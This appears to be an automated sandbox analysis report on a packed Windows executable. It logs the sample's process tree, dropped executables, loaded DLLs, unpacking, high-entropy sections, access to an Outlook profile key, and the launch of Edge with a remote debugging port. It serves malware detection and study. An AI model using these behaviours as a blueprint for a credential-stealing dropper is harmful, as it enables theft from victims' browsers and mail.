Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2824 --field-trial-handle=2776,i,10771132185117842424,4452386678917931713,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2220,i,17669870476821069415,9819844109615631793,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2876 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6556 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6716 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7236 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7236 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6768 --field-trial-handle=2712,i,12915953373348848584,16807963603474999912,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFHJDBKJKFI.exe "C:\Users\user\DocumentsFHJDBKJKFI.exe"
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe "C:\Users\user\AppData\Local\Temp\1008496001\rh.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1809920 > 1048576

Source: file.exe

Static PE information: Raw size of fswcchxk is bigger than: 0x100000 < 0x1a0000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2853389578.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.440000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fswcchxk:EW;egtbgvgy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fswcchxk:EW;egtbgvgy:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	Unpacked PE file: 26.2.DocumentsFHJDBKJKFI.exe.d30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 38.2.skotes.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qjiksrqu:EW;nceqyape:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008496001\rh.exe	Unpacked PE file: 39.2.rh.exe.990000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ettnbbde:EW;lbelwvmk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ettnbbde:EW;lbelwvmk:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C933480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C933480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: rh.exe.38.dr	Static PE information: real checksum: 0x1ea3f3 should be: 0x1ed414
Source: rh[1].exe.38.dr	Static PE information: real checksum: 0x1ea3f3 should be: 0x1ed414
Source: file.exe	Static PE information: real checksum: 0x1bdeda should be: 0x1c1fac
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: real checksum: 0x1d62fd should be: 0x1e024d
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d62fd should be: 0x1e024d
Source: skotes.exe.26.dr	Static PE information: real checksum: 0x1d62fd should be: 0x1e024d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fswcchxk
Source: file.exe	Static PE information: section name: egtbgvgy
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name:
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name:
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name: qjiksrqu
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name: nceqyape
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: qjiksrqu
Source: random[1].exe.0.dr	Static PE information: section name: nceqyape
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: qjiksrqu
Source: skotes.exe.26.dr	Static PE information: section name: nceqyape
Source: skotes.exe.26.dr	Static PE information: section name: .taggant
Source: rh[1].exe.38.dr	Static PE information: section name:
Source: rh[1].exe.38.dr	Static PE information: section name: .idata
Source: rh[1].exe.38.dr	Static PE information: section name:
Source: rh[1].exe.38.dr	Static PE information: section name: ettnbbde
Source: rh[1].exe.38.dr	Static PE information: section name: lbelwvmk
Source: rh[1].exe.38.dr	Static PE information: section name: .taggant
Source: rh.exe.38.dr	Static PE information: section name:
Source: rh.exe.38.dr	Static PE information: section name: .idata
Source: rh.exe.38.dr	Static PE information: section name:
Source: rh.exe.38.dr	Static PE information: section name: ettnbbde
Source: rh.exe.38.dr	Static PE information: section name: lbelwvmk
Source: rh.exe.38.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96B536 push ecx; ret

0_2_6C96B549

Source: file.exe	Static PE information: section name: fswcchxk entropy: 7.9539134055900735
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name: entropy: 7.9849987293715525
Source: DocumentsFHJDBKJKFI.exe.0.dr	Static PE information: section name: qjiksrqu entropy: 7.9547081936135005
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.9849987293715525
Source: random[1].exe.0.dr	Static PE information: section name: qjiksrqu entropy: 7.9547081936135005
Source: skotes.exe.26.dr	Static PE information: section name: entropy: 7.9849987293715525
Source: skotes.exe.26.dr	Static PE information: section name: qjiksrqu entropy: 7.9547081936135005
Source: rh[1].exe.38.dr	Static PE information: section name: entropy: 7.98300299939671
Source: rh[1].exe.38.dr	Static PE information: section name: ettnbbde entropy: 7.952710859262957
Source: rh.exe.38.dr	Static PE information: section name: entropy: 7.98300299939671
Source: rh.exe.38.dr	Static PE information: section name: ettnbbde entropy: 7.952710859262957

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFHJDBKJKFI.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
